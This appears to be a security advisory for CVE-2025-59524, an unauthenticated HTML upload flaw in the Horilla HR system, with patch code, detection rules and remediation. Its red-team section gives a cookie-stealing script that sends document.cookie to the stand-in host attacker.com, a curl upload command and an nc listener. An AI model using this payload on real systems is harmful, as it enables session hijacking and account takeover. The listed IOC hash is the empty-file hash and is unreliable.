CVE-2025-59524
Executive Summary
CVE-2025-59524 is a critical unauthenticated file upload vulnerability in Horilla, an open-source Human Resource Management System (HRMS). The application performs file validation only on the client side (browser), allowing an attacker to bypass these checks using an intercepting proxy or by crafting a direct request. This enables the upload of an executable HTML document (e.g., containing JavaScript) to the server. When an administrator or privileged user views the uploaded file, the embedded script executes in their session context, exfiltrating session cookies or other credentials to an attacker-controlled endpoint. The attacker can then reuse these credentials to impersonate the admin, gaining full control over the HRMS instance. The vulnerability is patched in version 1.4.0, which introduces server-side validation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Horilla application itself. The risk is elevated for organizations using unpatched versions (< 1.4.0) in production environments, as the attack vector is network-based and requires no authentication.
CVSS Breakdown & Threat Level
CVSS Score: 9.6 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex steps are required.
- Privileges Required (PR): None – The attacker does not need any authentication.
- User Interaction (UI): Required – The victim (admin) must view the uploaded file.
- Scope (S): Changed – The impact extends beyond the vulnerable component (e.g., session hijacking).
- Confidentiality (C): High – Full disclosure of session cookies and potentially sensitive HR data.
- Integrity (I): High – The attacker can modify data or perform actions as the admin.
- Availability (A): High – The attacker could disrupt the HRMS service.
Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a high-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability stems from a lack of server-side file validation in the file upload functionality. The application relies solely on client-side JavaScript checks (e.g., file extension or MIME type) to restrict uploads. An attacker can:
- Intercept the upload request using a proxy (e.g., Burp Suite) and modify the file content or extension.
- Craft a direct HTTP request to the upload endpoint, bypassing the browser entirely.
- Upload an HTML file containing malicious JavaScript (e.g., a session cookie stealer).
- Trigger the execution when an admin navigates to the uploaded file's URL (e.g., via a link or direct access).
The uploaded HTML file is stored on the server and served with the same origin as the Horilla application. When the admin views it, the JavaScript executes in the admin's session context, allowing the attacker to steal session cookies (e.g., sessionid or csrftoken) and send them to an attacker-controlled endpoint (e.g., https://attacker.com/steal).
Key Weakness: The application does not validate file content on the server side, allowing arbitrary HTML/JavaScript uploads.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-1.4.0): The upload handler only checks the file extension on the client side. Server-side code likely accepts any file without validation.
# Vulnerable upload handler (simplified)
def upload_file(request):
if request.method == 'POST':
file = request.FILES['file']
# No server-side validation
handle_uploaded_file(file)
return JsonResponse({'status': 'success'})
Patched Code (1.4.0): The fix adds server-side validation to reject executable HTML documents.
# Patched upload handler (simplified)
import magic
def upload_file(request):
if request.method == 'POST':
file = request.FILES['file']
# Server-side MIME type validation
mime_type = magic.from_buffer(file.read(1024), mime=True)
if mime_type not in ['image/png', 'image/jpeg', 'application/pdf']:
return JsonResponse({'error': 'Invalid file type'}, status=400)
handle_uploaded_file(file)
return JsonResponse({'status': 'success'})
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable Horilla instance (version < 1.4.0)
- An intercepting proxy (e.g., Burp Suite) or
curl
Step 1: Craft Malicious HTML Payload
Create a file named exploit.html with the following content:
<html>
<body>
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>
Step 2: Upload via Proxy
- Intercept the file upload request in Burp Suite.
- Change the filename to
exploit.htmland ensure the content is the malicious HTML. - Forward the request.
Step 3: Upload via Direct Request (curl)
curl -X POST -F "file=@exploit.html" http://target-horilla.com/upload/
Step 4: Trigger Execution
Send a link to the uploaded file (e.g., http://target-horilla.com/uploads/exploit.html) to an admin via social engineering or wait for them to access it.
Step 5: Capture Session Cookie
Set up a listener on attacker.com to receive the cookie:
nc -lvnp 80
Blue Team (Defense & Detection)
Detection:
- Monitor for file uploads with
.html,.htm,.shtmlextensions. - Alert on uploads where the MIME type is
text/htmlorapplication/xhtml+xml. - Use WAF rules to block HTML file uploads.
Prevention:
- Apply the patch (upgrade to version 1.4.0).
- Implement server-side file validation (e.g., using
python-magic). - Restrict file uploads to specific directories with no execution permissions.
- Use Content Security Policy (CSP) headers to prevent inline script execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example malicious HTML)
- Network Indicators:
- Outbound connections to
attacker.comor unknown IPs on port 80/443. - HTTP requests containing
document.cookiein the body.
- Outbound connections to
- File System Indicators:
- Unexpected
.htmlfiles in the upload directory (e.g.,/uploads/). - Files with
text/htmlMIME type in upload directories.
- Unexpected
- Log Indicators:
- Upload logs showing
text/htmlMIME type. - Access logs to
/uploads/*.htmlfrom admin IPs.
- Upload logs showing
Detection Engineering
YARA Rule
rule CVE_2025_59524_Malicious_HTML_Upload {
meta:
description = "Detects malicious HTML files uploaded to Horilla HRMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59524"
strings:
$cookie_stealer = /document\.cookie/
$fetch = /fetch\(/
$xmlhttp = /XMLHttpRequest/
condition:
(uint16(0) == 0x3C21 or uint16(0) == 0x3C68) and // <! or <h
any of ($cookie_stealer, $fetch, $xmlhttp)
}
Sigma Rule
title: Horilla Malicious HTML File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to Horilla HRMS, indicating CVE-2025-59524 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload/*'
cs-content-type: 'text/html'
condition: selection
falsepositives:
- Legitimate HTML file uploads (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59524 Horilla Malicious HTML Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload/"; http_uri; content:"text/html"; http_content_type; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Horilla version 1.4.0 or later.
- If upgrade is not possible, implement a WAF rule to block uploads of
.html,.htm,.shtmlfiles. - Restrict file upload directory permissions (no execute).
- Add server-side validation using a library like
python-magicto check MIME types.
Long-Term Measures:
- Conduct a security audit of all file upload endpoints.
- Implement Content Security Policy (CSP) headers to prevent inline script execution.
- Use a Web Application Firewall (WAF) with virtual patching.
- Train administrators to avoid clicking on uploaded files from untrusted sources.
Patch Details: The fix is included in Horilla version 1.4.0. The patch adds server-side MIME type validation and rejects executable HTML documents. Upgrade instructions are available at the official Horilla repository.
Valters IT
Securing Digital Frontiers